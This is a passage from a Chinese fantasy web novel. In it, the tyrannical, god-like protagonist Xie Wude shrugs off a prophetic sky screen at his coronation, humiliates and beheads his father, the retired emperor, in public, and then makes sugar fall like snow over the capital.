大家去算命不是为了听算卦的说些这辈子都完了的话,大家是想要逆天改命的。 ……好像也是。 年轻人恍恍惚惚的,这才站得起来。 实在是不能怪他有如此的反应。人在遭遇这种程度的危机的时候,是很难冷静地思考的。但是只要我边上有人愿意点上一句,那很多人还是能够反应过来的。 这样的场景发生在荣国各个地方。 许多人仰头看着天空,但是脸上却并没有多少愤愤不平的表情。 他们只是很淡定地看着眼前的天空,老农嚼着嘴巴里的东西。 单纯的淀粉是没多少饱腹感的,所以他们往往会去找点别的东西和淀粉一起弄了咽下去,吃了以后精神好多了。 他们大概是对现在发生的一切最没有感触的那一群人了。 他们甚至觉得天幕上说的话矫情。 城里的人手上没地,他们更容易恐慌,可是地是他们种的,他们就不怎么慌。 说那么多,但是在谢吾德给他们发淀粉之前他们就能吃得饱吗? 这个世界上不是每一片田地都是适合开垦的,人口数据涨没涨不知道,但是土地兼并是一直在进行的,地租和税负是越来越多的,农夫是犹饿死的。 食不果腹都是常态。 虽然没有被逼到去啃树皮的程度,但是也都是每时每刻都在想着去哪里找点吃的。 在他们这些生活已经跌落到谷底的人眼中,什么未来,什么后世,这都是和他们无关的事情。 他们中有些人这辈子都可能没孩子,或者孩子直接被饿死。 没有之前谢吾德发的哪些食物,他们现在就要被饿死了。 而且他们发现村里最慌最愤怒的好像反而是那些地主。 被地主洗脑甚至是感谢地主的人不少,但是很多人是仇富的,看到那些地主炸毛就想笑。 再说了,这些人虽然不懂什么叫压榨剥削,不懂什么市场经济,不知道什么叫无形的大手,但是他们明白一个朴素的道理:遭灾的时候粮食少,粮价就高。谢吾德给他们发淀粉之后粮价就下来了。自己有地的人会因为收入下滑而犯愁,但是没有自己土地的人在看到天幕上的内容觉得这之后大概就是其他人求着他们不要摆烂。 搞不好之后地主们反而需要把自己的土地卖掉,自己还能买一块地。 这反而还让人有点盼头了。 这么一想,他们应该支持谢吾德才对。 与土地绑定最深的农民们几乎很快地意识到了这种情况。 世家本来想减轻自己的罪责,然后放出一堆恐怖的视频增加普通人的恐惧。 他们觉得这样做就很有可能能够让他们煽动起一次农民起义。 他们自己是没有足够的力量反抗的,他们想要真正的反抗谢吾德,不能够仅仅依赖他们养的私兵,必须要把这些普通人给拉进来,避免谢吾德之后给他们发放武器,让他们这些人和世家作对。 裹挟农民起义这种事情,他们并不陌生,甚至完全是熟练操作。 只可惜,世家这个阶级离普通人太远了,他们并不明白底层人真正的想法,甚至他们会低估普通人的智慧。 世家觉得他们家里优秀的子弟来自于他们优秀的血统,他们和普通人是不一样的,他们在看到那些底层百姓说一些蠢话的时候发自内心地鄙夷这些人,嘲笑他们的愚蠢。 他们完全没意识到他们的知识和见识都是金钱堆积起来的。 金钱和地位本就不是一个生命应该与生俱来的. 谢吾德不会被这样的场面给吓到的。 从交战地来的邱潇是在场最淡定的那个。 他比余文彦还要知道谢吾德能有多么离谱。 他之前跺跺脚就能让大地开裂,把萧军全都被大地吞噬。 当时和他一起看到这一幕的很多人当场就被吓疯了。 邱家军作战意志坚定,而且上战场就是为了杀人的,谁要是怂了都会被同伴嘲笑,基本都是心志坚定的人,但是对于被吓疯的人,大家都没有任何苛责。 邱潇也觉得这天幕的威能不如谢吾德本人的威能。 终究只是放个图片不是来真的。 换谢吾德…… 邱潇看着好不容易镇定下来的众人,觉得还是算了,如果谢吾德出手,搞不好他们中不少人就要疯一辈子了. 谢吾德看着天空上的那个光屏,看向亚夏。亚夏看着他,知道谢吾德没有找他算账的意思,回答道:“没有三倍速。” 自己的脑子里在想什么自己还能不明白。 这个播放器在设计之初就是能用就行,难为世家用那么简单粗糙的剪辑工具搞出了这些东西,他都想关心一下对面的肝还好吗? 亚夏和谢吾德之间的沟通声音并不大,他们两个都不是喜欢提高声音喊的性格。 在外面有声音干扰的情况下,听不清他们的声音是一件很正常的事情。 谢吾德点点头,直接把上方的时间给加速了。 这是最简单粗暴的解决方式了。 他们虽然没有办法做到让时间倒流,但是让时间加速还是可以的。 这忽然的加速让陈家人忍不住一愣:“这是怎么回事?” 习惯三倍速是需要练习的,只有低信息密度的视频三倍速看才合适。 不过谢吾德也不在意这个世界的历史,所谓的历史和光幕中预言的未来本身就是计算机算出来的东西,谢吾德知道自己之后肯定会捅娄子,但是看来看去,他对这种悲惨方式没有太大的兴趣。 这不是说他想要改变自己的行为。 谢吾德不对任何人的未来负责。 他是神,但是不是救世主。 他喜欢训狗,但是从来不会尊敬向他卑躬屈膝寻求庇护的人。 人和狗是不一样的、 所以谢吾德不在意未来发生的事情,而且他知道了这些事情之后未来要做的事情肯定也发生了改变,这种过时的操作没什么意思。 他在游戏过剧情的时候向来是喜欢点跳过,是一个绝对的非剧情党,想要看剧情他会找小说去看的。 谢吾德只是大致浏览了一下视频,大致了解了一下其中想要表达的意思。 不过有一段倒是吸引了谢吾德的注意,比如谢吾德之后会废太子,立自己的堂妹为太子。 这件事情还是很好理解的,甚至在这段的时候谢吾德稍微放缓了加速时间的动作,从三倍速降到了二倍速。 世家的目的昭然若揭。 世家看着突然加速的视频,忍不住一愣。 他们想要检查一下天幕是不是出现了什么目的,但是周围的人太多了,世家大多都是苟道中人,他们可不想要在还没有成功的时候暴露出自己所有的底牌。 他们只能无助的看着天幕在天空上掠过。 谢吾德不一定感觉到他被上天抛弃了,但是这突如其来的变数是真的让世家觉得自己被上天抛弃了。 之前他们觉得自己能够得到这些东西,他们才是上天的宠儿,但是他们现在感觉到了一种巨大的落差。 他们看着站在谢吾德身旁的两位太子,想要知道亚夏和温特有没有听到天幕上面的话。 他们这些之前已经看过视频的人即使看这些被加速的视频也能够记得这上面大致要讲些什么,但是第一次听的人都毫无准备,他们就很难听得清楚。 如果他们听清了就好了。 虽然小孩子还不懂什么利益纠葛,但是他们有自己的母亲,而且他们的身边也有可能有扶持他们的人,只要那些人知道这件事情,肯定会劝说他们争取自己应该得到的东西。 可是亚夏和温特都没什么表情。 温特只是着急离开。 谢吾德笑得好像没事人一样。 “还有谁要放点天幕吗?如果没有的话,我们进行下一个话题。哦,对了,如果有人对我登基这件事情有什么意见,也可以直接提出来,我们都可以商量。” 至于怎么商量…… 谢吾德毫不忌讳地拿起了作为礼器的一把长剑,剑往地上一戳。 领导对下面的人说他们对领导有什么不满都可以尽管提出来。 但是有几个人会真的能做到虚心纳谏呢? 这群人怕是一听到别人说自己不好就要大动肝火了。 他们只是给自己立一个人设,顺便让别人吹捧一下他们做事有多么完美,没让其他人真的给他们提意见。 荣朝也不是没有皇帝能够做到这种事情,但是谢吾德显然不是这样的人。 谢吾德甚至装都不肯装,他的剑都拔出来了,谁要是敢站出来和他唱反调,他就要杀了谁。 所有人可能会鄙夷谢吾德的做事风格,瞧不起他那不爱动脑的习惯,但是没有人敢质疑谢吾德实行的暴力的能力。 在谢吾德还是皇子的时候就敢把皇帝当成球一样踢得满地乱爬。 谢吾德这个皇位是全靠他铁拳无敌抢过来的。 陈琦能够感觉到,他们世家想要达成的目标是一点都没实现。 谢吾德没有惊慌,下面前来观礼的百姓虽然也有点惊慌,却在谢吾德的强势之中被压了下来。 谢吾德真的是由内而外的镇定,这种镇定是很难装出来的,所以百姓就变得平静了许多。 皇帝是有光环的,人们对皇帝还是有着本能的敬畏。 不过这不应该呀,他们怎么一点都不慌? 世家们在煽动百姓这件事情上有着相当多的经验,在利用普通人,煽动他们去起义,最后将胜利的果实保留在他们世家手上,这种事情他们已经做过无数遍了,近一千年来都是如此,这也是所谓千年世家的根本。 在他们看来,百姓是冲动的,是可以被他们煽动的,是愚蠢的,是看不清现实的。 现在的情况却让他们觉得,好像有些事情和他们想的并不一样。 “没有人有意见吗?”谢吾德对边上的李真使了一个眼色,让李真把谢珖给拖上来。 谢珖可是今天的重要道具。 李真是完全依靠谢吾德上位的,所以谢吾德让他做什么他就敢做什么。 别说是把谢珖像是一条死狗一样拖出来,就算谢吾德让他把谢珖打一顿他都会毫不犹豫地执行。 谢吾德看着畏畏缩缩的谢珖,又看向下面的那些世家。 他是个近视眼,所以他看不清这些人的表情,但是他能注意到下面的人没有任何异动。 他就喜欢看着这些原本高高在上、甚至还颇为傲气的人在他面前他摇尾乞怜。 谢吾德也不是第一天有这个毛病了。 谢珖其实很想用眼神示意亚夏和温特,给他说说话。 谢吾德是个人渣就算了,小孩子总该是心软的吧? 他们看着年纪也不是很大,不至于被谢吾德腌入味了。 再说了他好歹算是他们的祖父,他们总得为祖父说两句话吧。 亚夏和温特这个身体是小孩子,还没近视,但是他们不喜欢去揣摩别人的心思,面对谢珖这种不怎么常见的货色,他们是真的不会给他分半个眼神。 幸亏谢珖没有把这句话说出来,不然亚夏和温特肯定会扭头干呕一声,甚至有可能也上去踹他一脚。 他们都清楚谢珖是以什么玩意为原型。 “这是我给你的罪己诏,念吧。”谢吾德让谢珖跪好。 谢珖当然是不愿意的。 “别逼我打碎你的膝盖骨。”谢吾德说道。 谢珖瞬间就跪了下去。 在一旁看着时间的温特眼皮一跳。 他是那个被打碎过膝盖的家伙,虽然不是谢吾德干的,但是他的腿有点幻痛。 谢吾德就不能说打断谢珖的腿吗?非得提膝盖。 “别冲着我,冲着下面。”谢吾德此刻觉得自己无比正义,他就是公理的化身。 在他还以为自己是人类的时候他就挺正义的,他和同学打架的常见一个理由就是看不惯别人欺负人,他在行侠仗义。 “你做了多少错事你心里没有数吗?你给所有人都磕一个一点都没委屈你。” 第52章 谢珖看着谢吾德,然后对谢吾德说道:“你这么做对你有什么好处?” 按照龙生龙、凤生凤、老鼠儿子会打洞的逻辑,如果谢珖是一个糟糕的人,那谢吾德也不会是什么好东西。 这是在毁谢吾德自己的名声。 ……虽然刚刚天幕上说的话就是在说这件事。 谢吾德还没来得及说什么,谢珖就低头细细地阅读这个并不是由他写他之前也没见过的罪己诏。 他也算是学到了,在谢吾德面前,最好不要说太多。 他只要抛出一句话,然后做自己的事就行,真要和谢吾德讨论起来,那倒霉的绝对只有他一个人。 谢吾德其实没有什么神奇逻辑,他的逻辑本身就有点分裂。 就算口头上赢了他也没什么用,谢吾德的性格就是固执到偏执的地步,真给他说到恼羞成怒了,他只可能用物理的方式消灭敌人,而不是向别人的观点妥协。 这都是谢吾德能够做出来的事。 所以谢珖也学聪明了,他根本就不和谢吾德仔细辩论。 如果说亚夏是有点傲娇,还会反思,虽然反思完了很有可能坚持自己之前的做法,那么谢吾德就是连反思都不反思。 要亚夏说,除非有人能摁住他,抽他耳光,给他打得爆哭,不然他是绝对不会改变自己的想法的。 真巧,谢吾德也是这么看亚夏的。 可惜,这个世界没人能做到,就算他们自己都不行。 余文彦看着那个罪己诏。 他都不知道谢吾德什么时候弄的这个玩意。 ……可别告诉他,谢吾德一个登基诏书写的不情不愿,但是给谢珖写罪己诏就自主性拉满地帮他写完了? 您老总在没必要的时候这么积极。 余文彦还是保守了。 登基诏书不是谢吾德写的,而是亚夏代写,但是这个罪己诏是谢吾德提供大致思路喂给AI,然后再手动修改——AI有点太礼貌了。 花了他整整一个小时反复推敲,拿出了小学老师讲“僧推月下门”和“僧敲月下门”的钻研精神。 批奏折他都没用这么长时间,每天在这事上能花半个小时都算他勤政了,但是他就喜欢把时间用在这种地方。 谢珖继续看着下面的文字,他被谢吾德盯着,再不情愿也蔫了下去,谢吾德给他写的罪己诏一开始还有点收敛,但是后来就越来越过分了,还出现了“我谢珖就是一个史无前例的蠢猪废物,是民族和国家的罪人”。 泥人也有三分火气,怂人也有半点胆。 谢珖很爱自己的权力,也热爱自己的地位,但他也会在乎千古评说的。 虽然他做的蠢事不计其数,但是 他可是南荣的开国皇帝,怎么能够让他说这种话? 他知道谢吾德不孝顺,但这也有点太过于不孝顺了吧? 他有点愤怒地看着谢吾德,他也不念了。 在众目睽睽之下,谢吾德狠狠地踹了他屁股一脚。 “让你念你就念,怎么这么多废话?” 他是有讲究的。 他踢一般讨厌的人是用脚背踢,但是踢恶心的家伙是用鞋底。 谢珖被踹得从楼梯上摔了下去。 邱潇在台阶之下,看着狼狈不堪的太上皇,暗暗地捏紧了拳头。 不行,现在还不能笑出声来。 谢吾德的行为实在是没规矩,幸亏自己的叔父现在不在,要不他肯定会想办法进谏一句的。 谢吾德肯定不会停,还会不高兴,而且邱潇他也不能单纯地看乐子了。 他有点庆幸,幸亏自己的叔父不在。 也好,等着谢吾德正式登基之后,谢吾德就是皇帝,即使是自己的叔父,也不会点评皇帝行为的,更何况这个皇帝肯定是完全听不进人话的。 荣朝重文抑武,邱腾作为武将,自然行事会谨慎克制,不是很敢给人他想要把控朝政的话柄。 至于对太上皇的同情…… 曾经的他也是有的。 但是因为之前在边关,他和谢吾德打了几次交道,他也看出来了,谢吾德在瞧不起人的时候是真的瞧不起人,能把别人气个半死,但是他却有着自己独特的套话技巧。 其实他是知道自己怎么说、怎么做才能够让人卸下心防。 他是个很直接的人,而且只要他愿意和人沟通,配合他的那笑着的漂亮脸蛋,他很容易就直接攻破别人的心防,让人直接把心里话都和他说。 在邱潇和他提到过那些来监军的人的时候难免会有点想要抱怨,谢吾德就直截了当地说道:“从本质上来说,这都是皇帝的错,虽然那些监军很恶意,但是皇帝是在转移矛盾,让你们和监军斗,他只是清清白白的一朵白莲花。” 当时邱潇被谢吾德的这一句话给惊呆了,这话是可以直接说的吗? 这一点他以前从来没有想过,而且也不敢想。 也许这个世界上的确有聪明人能够看透这一点,可能世家大多也明白这些事情,但是邱腾一直都很忠诚,他也不会向自己的侄子灌输这方面的想法。 可是因为谢吾德的话,他的脑子里打通了这条任督二脉。 之前没有想到抱怨皇帝,是因为皇帝高高在上,而自己的叔父也实在是忠诚,他们不可能把怨气发在皇帝的身上,那就只能把怨气发泄到了那些监军的文官和太监身上。 谢吾德说过很多疯话,而且他人也不怎么正常,可是就这次他说的话,邱潇越想越有道理,难道不是这样的吗? 不过关于这些事情,他之后一直都按捺在心里,这种事情越想就越难以保持对皇帝的忠诚。 叔父也是他的恩人,他叔父的想法比其他人都要重要,所以他不想和自己的叔父产生矛盾,就只能向皇帝尽忠。 可是现在他看着谢珖被迫念着这些自罪诏,他心中的快意已经要按捺不住了。 谢珖觉得自己受到了莫大的耻辱,但是邱潇觉得,谢吾德只是逼迫谢珖把事实给说出来。 谢吾德虽然平时看上去两耳不闻窗外事,什么都不在乎,但是他居然对谢珖都做过什么全都了然。 这实在是太爽了吧。 人都是不愿意承认自己的不好的。 这其实不算是一件完全的坏事,因为有的时候人频繁地承认自己的不好会削弱自信心,但是对于谢珖这样刚愎自用还谨慎多疑的人来说,这点就实在是太不友好了。 更别提他是个皇帝了。 邱腾从离开家乡的那一刻就想着报国,想要让这个民族重新站了起来,想要让这天下的百姓能够安居乐业,然而谢珖的刚愎自用却让他错失了许多机会。 如果不是因为邱潇是一个锥处囊中,即使是皇帝也无法抹消掉他锋芒的人的话,谢珖足够让时代抹消掉他的努力。 邱腾是幸运的,他有能力,而且有足够的理想,但是有多少本来可以有着更好前程的人,就这么被谢珖浑浑噩噩地打压下去了,变成了他们并不喜欢的人。 谢珖愤恨地看着谢吾德,谢吾德双手揣在袖子里,就那么看着谢珖。 谢珖知道自己父亲的身份在谢吾德面前没有半点用处,他咬着嘴唇,剩下的话怎么都不肯说下来。 他已经失去了皇位,总不能再失去史书上的名声吧? 在被谢吾德逼着做了这些事情之后,自己还能够得到怎么样的评价? 不能这么做,他不能这么做! 谢珖的脑子里重复着这句话,然后忽然哈哈地大笑了起来,撕扯着自己的衣服,甩掉自己的鞋子,朝下跌跌撞撞地跑去。 这个变数把其他人都吓了一大跳。 谢吾德没把谢珖当一回事,但是谢珖还是所有人所承认的太上皇,这样的人忽然发疯,让所有人都心里一惊,万一谢珖真的疯了呢? 总不能让谢吾德背上逼疯自己父亲的骂名吧。 谢吾德看了看谢珖,又看向亚夏:“他是真的疯了还是假疯了?” 亚夏刚刚并没有注意谢珖,不过他有实时回放,他放了几遍,然后回答道:“装的。” 在慢放镜头中,谢珖的表演痕迹就比较重了,而且现在他看谢珖,不难发现谢珖其实一直在看他们。 其实谢珖本人是真的想要疯掉。 只要真的疯了,他就不必经受眼前痛苦的折磨。 只要自己疯了,谢吾德还能拿他怎么样吗? 他再有本事,还能强逼着一个疯子承认自己的错误吗? 但是人的意志在有些时候就是这么该死的强。 谢珖的脑子很清醒,所以他就干脆装疯算了。 谢吾德对着旁边的人说道:“你们怎么能够看着太上皇就这么扒自己的衣服?你们觉得这成体统吗?” “体统”这个词在谢吾德嘴巴里说出来有一种莫名讽刺的感觉。 这家伙但凡有半点在意体统这种东西,他就不会做出现在的事情了。 但是谁让谢吾德是皇帝呢? 就算其他人有再多的吐槽欲也得憋回去。 锦衣卫立刻抓住谢珖的肩膀,把他控制了起来,不让他再随便撕扯自己的衣服了。 谢珖疯狂地挣扎着,他甚至从嘴巴里流出一点口水来,但是他的手还是没停,依然做着撕扯自己衣服的动作。 他大片的胸口露了出来。 就在他以为谢吾德要放过他的时候,他听到谢吾德说道:“既然他要把他的衣服脱了,那你们就应该先脱掉他的衣服。” 只要谢珖身上一件衣服都没有,那他就没有衣服可脱了。 这个逻辑十分感人,但是的确是谢吾德一贯的思考方式——不给人面子。 谢珖愣住了,他故意往下流的口水都好像在他的唇角凝固了,这好像违背了物理法则一样。 谢吾德兴致勃勃地看着谢珖地打量着他的表情,满意地看着他好像一下子清醒了许多的脸。 谢吾德催促:“你们还愣着干什么?还不把他的衣服脱掉,难道要等着他继续发疯吗?” “这很危险的,万一他脱了自己的衣服之后拿自己的衣服把自己勒死怎么办?你们担得起这个责任吗?” 谢珖的脸涨红。 他之前撕扯了半天,也没把自己的衣服撕扯下去。 毕竟是太上皇,这次谢吾德登基,宫人给他准备的衣服还是比较得体,也是一层一层的,想要脱掉并不容易。 谢珖做过皇帝,他这辈子都高高在上,就算是被萧人羞辱,那也只是言语上的羞辱。 被脱掉衣服是被萧国那群蛮族俘虏了才会有的待遇。 谢吾德怎么可以这么做? 这个人和蛮夷有什么区别? 不,蛮夷都没有他做得这么过分。 蛮夷好歹是对他们的敌人才这么做,但是谢吾德却敢对着他这个父亲做。 他是谢吾德的敌人吗? 从某种角度上来讲,他们的确是政敌。 但是不是一般只有父亲对儿子这么无情,哪有儿子敢对父亲这么无情的? 可是谢吾德就是敢这么做。 谢珖咬着牙,他知道自己装不下去了,于是他狠狠地看着谢吾德,然后说道:“要不你还是杀了我吧。” 谢吾德干脆利落地拔剑,没有一丝犹豫。 他完全不介意在自己的登基典礼上把谢珖给杀了。 在他看来,谢珖和被他杀的大皇子和二皇子并没有什么不同,谢珖以为自己是所谓的父亲身份就有什么不同? 但是他对谢吾德来说,只是一串数据,他对陌生的、讨厌的家伙只有凌虐的情绪。 一般人会觉得在这种地方杀人是一件很不吉利的事情,但是真不巧,谢吾德自定义是邪神,邪神就是喜欢血祭这一款的。 有人流血,有人痛哭,那对于他来说简直如同音乐一样动人。 谢吾德毫不犹豫地把谢珖的脑袋斩了下来。 一起被斩断的还有谢珖试图举起的、用于阻止谢吾德的手。 白光闪过,鲜血飞溅,洒在了白玉台阶上,洒在了所有人的眼前。 谢吾德这次没用任何法术,只是凭借单纯的力气和一把开刃的长剑砍掉了谢珖的头。 谢吾德没有任何表情。 很多人的眼睛被眼前的鲜血刺痛了,他们闭着眼睛,不太敢看。 现在有人说,刑不上大夫。 但是没人说刑不上皇帝。 因为这完全是默认的事情。 在这种地方,连大臣都不能杀,更别提高高在上的太上皇了。 下面炸了锅了。 ……谢吾德真的杀了太上皇,真的夺走了他的生命,真的像是对待普普通通的某一个臣子一样,把谢珖给杀掉了。 谢珖的脑袋顺着台阶咕噜咕噜地滚下去,谢吾德没有去捡,只是看着这一颗头一点点地往下掉,就像是之前在大皇子、二皇子宫殿时,被他砍下头的人一样。 谢珖和那些被他杀死的人,在谢吾德的眼中并没有任何的区别,他们都只不过是不值一提的小人物。 皇帝在自己的登基典礼上杀人,这本身已经很离谱了,更离谱的是这个皇帝在登基大典上亲手斩杀了他的“父亲”。 虽然所有人都知道谢吾德其实并没有在意他这个所谓的父亲,但是这是不是不在意过头了? 他们还是希望谢吾德多少能够在意一点这些事情,让谢吾德看起来像个人。 “真是可惜啊,看来这个人没有一点真心悔过的打算。”谢吾德爽朗地笑着。 他本来只是想要让谢珖给他念罪己诏的,可是谢珖站在那里,看上去又不怎么服气,他就临时起意把谢珖的头给砍了下来。 两位太子面无表情,对于眼前血腥的一幕没有半点的感触,就好像有人在他们面前杀了一只鸡一样。 亚夏和温特觉得谢吾德是用剑而不是直接把谢珖的头拧断已经是很照顾所有人的心情了,不然下面这些人中可能有一半人几天都吃不下饭了。 他们和世家子弟形成了鲜明对比。 那些世家子弟就算是看见杀鸡,也得适当的表现出自己的惊讶和怜悯。 他们中不少人是崇信佛教的,是忌讳杀生的。 余文彦也被谢吾德的疯劲给震惊到了。 谢吾德就这么杀了谢珖吗? 他知道谢吾德莫名其妙地很讨厌谢珖,他看谢珖就跟看垃圾一样,但是他真的没有想到谢吾德会这么干脆利落地就把谢珖给杀了。 杀父在皇室中不是一件罕见的事情,为了权力,所谓的家人和朋友都不值一提。 可是就算如此,大家都要给自己披上一层人皮,把自己装作是一个正常的人,是一个有羞耻之心的人。 他们就算是作恶也要遮遮掩掩的,从来没有一个人会像谢吾德一样,在大庭广众之下弑父。 这件事情别说在华夏了,就算放在整个世界上都算是惊悚了。 甚至对于余文彦来说,天幕上预言的天下分崩虽然令人震惊,他也会怜悯未来受苦受难的那些百姓,但残忍点来说,这天下大势不就如此吗? 朝代更迭,兴盛衰败,基本上都是二三百余年一轮。 这是秦始皇一统六国之后一直在发生的事情。 只不过之后的人们能够走到更远的地方。 沧海桑田之下,总会有新的事情发生。 只不过这次换了一个入侵者。 不是游牧,而是更远的敌人。 统治和被统治,抗争和被抗争,一切都像是个轮回一样,隐隐地蕴含了某种规律。 有些时候不过是皇帝轮流做罢了。 即使推翻了过去的统治者,新的统治者也要按照过去的规矩来, 孝顺父母,祭祀天地,这个世界永远都是君臣父子, 至于重文抑武、对抗世家在这底层逻辑面前完全不值得一提。 但是这个世界的规则在谢吾德面前完全不值得一提,现在谢吾德现在在破坏这个世界运转的基础。 世界,坍塌了。 这件事情余文彦以前其实早就知道了,但是这次他仍然被谢吾德震撼到了。 天幕上说的东西从某种角度还是太保守了。 使用天幕的世家自己恐怕也没意识到谢吾德真正的危险之处。 人是没法想象自己没有见过的东西的。 就在他沉重地喘息的时候,他听到不知道是哪一个太子问谢吾德:“就这样杀了他好吗?” 余文彦稍微有一点感动,他感觉自己在这个魔幻的现实中找到了一点共鸣。 原来谢吾德的太子中还是有人是比较冷静克制的,他们仍然是良心未泯,不像谢吾德一样疯劲十足。 然而下一秒,他就听到那个太子继续问:“是不是死得太过于干脆了,像是在便宜他一样。” 谢吾德和另外一个太子几乎是异口同声地回答:“死则死矣,大不了把他从地底下拉出来再杀一遍。” 余文彦觉得自己还是高兴得太早了。 他们是一样疯的。 而且他怎么感觉自己听不懂中文了呢? 什么叫再杀一遍? 鞭尸吗? 第53章 谢吾德没有和任何人吩咐谢珖死后尸体要怎么处理,而且所有人有的时候都过分有眼色了,他们是不会主动去问该怎么处理谢珖的尸体的,谁知道这会不会触碰到了皇帝的禁忌,让皇帝找到对他们发难的借口。 这群人一会觉得谢吾德像是一点脑子都不动的笨蛋,一会又觉得谢吾德这个人实在是心机深沉,堪称恐怖,谁都摸不清谢吾德做事的风格,所以怎么想他的都有,被他玩坏脑子的也有。 不过如果真的有人不长眼的来问谢吾德,谢吾德会给出一个非常明确的答案:“随便丢哪儿埋了呗。” 其实做成标本也可以。 这活亚夏做得很熟练。 接下来的部分便是各国的使臣前来庆贺。 宫殿的大小有限,就不能让那么多百姓在这里呆着了。 谢吾德仰头看着这片天空,他挥挥手,天空中便有雪花落了下来。 都说瑞雪兆丰年,但是要看是哪里的瑞雪,江南地区的瑞雪就有点不太妙了。 飘落的雪花让城里的人变得惊慌失措,毕竟大家刚刚还看到天幕上预言的未来。 但是在雪花飘落在人脸上的时候,大家却并没有感觉到一丝冰凉的触感,但是心理上的恐惧却让这白色的东西变得冰凉彻骨。 虽然江南盛产丝绸,但是丝绸是供给那些贵族世家的,他们身上甚至都没有足够的衣服。 降温是要人命的。 小孩子就没有这方面的困扰了,他们伸出舌头舔了一下,然后他们就兴奋地对身旁的父母喊道:“原来雪是甜的吗?” “雪怎么可能是甜的?”成年人嗤笑一声。 他们是没什么见识,但是他们也听过雪化了就是水。 不是糖水。 话是这么说,到那时小孩子的话还是影响了一些成年人。 南荣朝廷是拒绝北方人越过长江的,但这也是相对苛刻的事情。 在长江以北的确也有一些人及时跑掉了,他们来到南荣,有的就在锦京定居了下来。 他们知道雪长什么样子,所以在听到这群愚蠢的南方人说这些话的时候,那种下雪的无奈也被冲淡了一点,甚至有一种淡淡的自得。 让他们平时瞧不起他们这些外地的,瞧瞧他们这没见识的样子。 然后他们就听到有人说:“雪原来是甜的?” 北方人:“啊?” 他们怎么不知道。 他们也嗤笑一声,就像是大人嘲笑小孩一样。 但是一群南方人兴奋的吱哇乱叫,终究还是让一些人憋不住好奇心,低头舔了一下。 他们也好久没有见过雪了。 虽然他们嘲笑南方人吃雪,但是哪个北方人小时候没来上一口。 他们舔了一口,他们就忍不住惊讶地瞪大眼睛,然后他们伸出手,让雪在自己的手掌心中多停留了一段时间。 如果真的是雪,那不过几秒的工夫便会在他们的手中化开,顺着他们的掌纹化开。 他们细细地观察着,然后连声大喊:“这根本就不是雪!” “这不是雪?” “哪有雪在你手上停留这么长时间还不化的?”这个来自北方的人大声地说道,“这分明就是白糖啊!” 也不是没有南方人认出这是白糖的,可是这糖实在是太白了,而且他们不敢相信这世界上有人这样的好事。 听到这话的人赶紧伸出手去捧着从这天上纷纷落落飘下来的雪花,然后低头猛舔。 “确实是糖,不是雪。” 有人一拍脑袋,想要赶紧回家拿点东西把这些东西接住,还有的人灵机一动,用手把衣服一撑,在这寒风中努力地去兜住这些飘落下来的“雪花”。 他们这些人怕这样的机会来一次就少一次,少弄到一点白糖就亏一点。 至于刚刚天幕上说的那些话,基本上就被他们忘光了。 这飘落下来的白糖,分明是上天为皇帝登基所颁布的吉兆,那所谓的天幕搞不好就是他们佛教中所谓波旬之类的坏东西的欺骗和诱惑吧。 如果有精通佛法的世家人在这里,他们一定会发出尖锐爆鸣。 有没有搞错,那东西诱惑人和他站在一起的才是那个波旬,谢吾德才是那个最坏的家伙吧?. 谢吾德一把把温特薅了起来。 温特走路有点瘸,他现在手上没有拐杖,虽然能走,甚至能够跑几步,但是并不怎么方便。 然而在他把人抱起来之后,他听到温特说:“你是不是抱错人了?” 谢吾德一低头,看到温特正无语地看着谢吾德,而一只手猛地顶在了他的下巴下,把谢吾德推得往后一仰。 谢吾德知道自己抱错人了:“我记得你之前不是站在我的左边吗?” 谢吾德把亚夏丢了下来,他的动作就像是丢一只猫一样,甚至还丢出了一个抛物线。 这把李真给吓坏了。 哪能这么丢孩子? 就不怕他受伤吗? 然而亚夏的平衡能力非常优秀,就算谢吾德几乎是故意把他往地上摔,他也能够保持自己的平衡。 他在落地之后退了一步便站住了。 他也懒得和谢吾德计较这件事情。 胆子谢吾德这么做也不会伤到他,那就随他去折腾了。 就算真摔了也无所谓,他从小摔得次数多了去了,不差这一点。 谢吾德薅人的速度实在是太快了,温特和亚夏都没来得及开口。 温特也不喜欢被人抱,但是现在他手边没有手杖,只能由着谢吾德抱他了。 温特看着外面下的“白雪”,绝大多数人可能都以为这是白雪,可是他能够感觉到这是糖。 其实以他们的近视眼、肉眼很难分辨出这是雪还是糖,但是肉眼判断不出来,他们可以用法术波动来判断。 在法术感知的事上,他们比不上谢吾德,但任何生命都没办法超过他。 温特想要感慨的自然不是所谓的法术。 他只是想到之前在上语文课的时候,老师所讲的“大雪纷纷何所似,撒盐空中差可拟,未若柳絮因风起”。 温特不算喜欢那个老师,但是那堂课上的还算有趣,虽然老师死了十万多年了,身体里的各种元素都不知道在这个世界循环了多少圈,可是温特就是还记得这件事情。 这绵白糖比起柳絮还是少了一点飘飘忽忽的意境,但是对于这个时代的普通人来说,柳絮会让人忍不住地想打喷嚏,但是白糖却会让所有人都喜笑颜开。 不过要是让温特选,他可能会选柳絮。 虽然他有鼻炎,但是他还有洁癖,洁癖比鼻炎严重。 白糖但凡沾点水就会变得黏糊糊的。 “你这样就不担心像是水体之类的地方富营养化吗?”温特颇有环保主义精神地提问。 “哎呀,你管这么多干什么?你就说所有人高不高兴吧?如果我问他们要不要白糖,他们会不会同意?”谢吾德一如既往地心大且不顾一堆东西的死活,“而且我已经很在意环保问题了,不然就不是撒糖,而是撒盐了。” 不过谢吾德不管人死活,可是他不至于把普通人往死路上逼。 温特内心倒也是。 这群人能吃饱都是一种奢望,更别说能够吃到像白糖这样的好东西。 谢吾德别说是制造一些水体富营养化,就以他的能力,就算他把地里的苗全烧了,他也能够养得起所有的人。 谢吾德抱着温特。 他很讨厌小孩子,但是是自己小时候的样子却并不怎么讨厌,更何况温特完全是成年人的灵魂,小孩子的外表,甚至都不是某死神小学生那样,内心只不过是一个高中生。 温特第一次死亡的时候,他所认知的年龄都是四五十岁了,成熟的程度不是小屁孩儿可以比的。 温特不喜欢被抱着,但是他能安静地坐着,亚夏跟在谢吾德的身边。 谢吾德其实完全可以一手抱一个,但是谢吾德不喜欢抱着亚夏,亚夏也不喜欢被谢吾德抱。 谢吾德头上顶着冕旒,走了一会,他让温特帮他把那上面的那堆串珠扒拉到一边去,耽误他看路了。 看电视剧里的皇帝戴这些东西觉得很有逼格,但是自己戴就觉得不敬让他觉得颈椎疼,还挡着他的视线,他之前像是吹刘海一样试图把它们吹走,但是这些东西质量很好,谢吾德没吹得动。 一旦东西变得复杂,谢吾德的坏脾气就要开始发作了。 之前觉得很好玩又帅气的东西不香了,只想把东西薅掉。 